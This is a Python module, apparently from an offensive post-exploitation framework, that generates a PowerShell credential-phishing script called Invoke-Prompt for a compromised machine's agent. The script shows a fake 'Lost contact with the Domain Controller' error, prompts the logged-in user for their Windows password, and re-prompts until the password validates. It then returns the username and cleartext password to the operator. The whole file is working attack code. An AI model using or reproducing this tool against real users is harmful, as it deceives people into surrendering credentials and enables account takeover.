122 lines
4.4 KiB
Python
122 lines
4.4 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-Prompt',
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'Author': ['greg.fossk', '@harmj0y', '@enigma0x3'],
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'Description': ("Prompts the current user to enter their credentials "
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"in a forms box and returns the results."),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'MinPSVersion' : '2',
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'Comments': [
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'http://blog.logrhythm.com/security/do-you-trust-your-computer/'
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'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'MsgText' : {
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'Description' : 'Message text to display if not waiting for a process create.',
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'Required' : True,
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'Value' : 'Lost contact with the Domain Controller.'
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},
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'IconType' : {
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'Description' : 'Critical, Question, Exclamation, or Information',
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'Required' : True,
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'Value' : 'Critical'
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},
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'Title' : {
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'Description' : 'Title of the message box to display if not waiting for a process create.',
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'Required' : True,
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'Value' : 'ERROR - 0xA801B720'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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script = """
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# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
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# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
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# POC from greg.foss[at]owasp.org
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# @enigma0x3
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function Invoke-Prompt {
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[CmdletBinding()]
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Param (
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[Switch] $ProcCreateWait,
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[String] $MsgText = 'Lost contact with the Domain Controller.',
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[String] $IconType = 'Critical',
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[String] $Title = 'ERROR - 0xA801B720'
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)
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Add-Type -AssemblyName Microsoft.VisualBasic
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Add-Type -assemblyname System.DirectoryServices.AccountManagement
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$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
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if($MsgText -and $($MsgText -ne '')){
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$null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
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}
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$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
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$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
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if($credential){
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while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
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$credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
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}
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"[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
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}
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else{
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"[!] User closed credential prompt"
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}
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}
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Invoke-Prompt """
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
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return script
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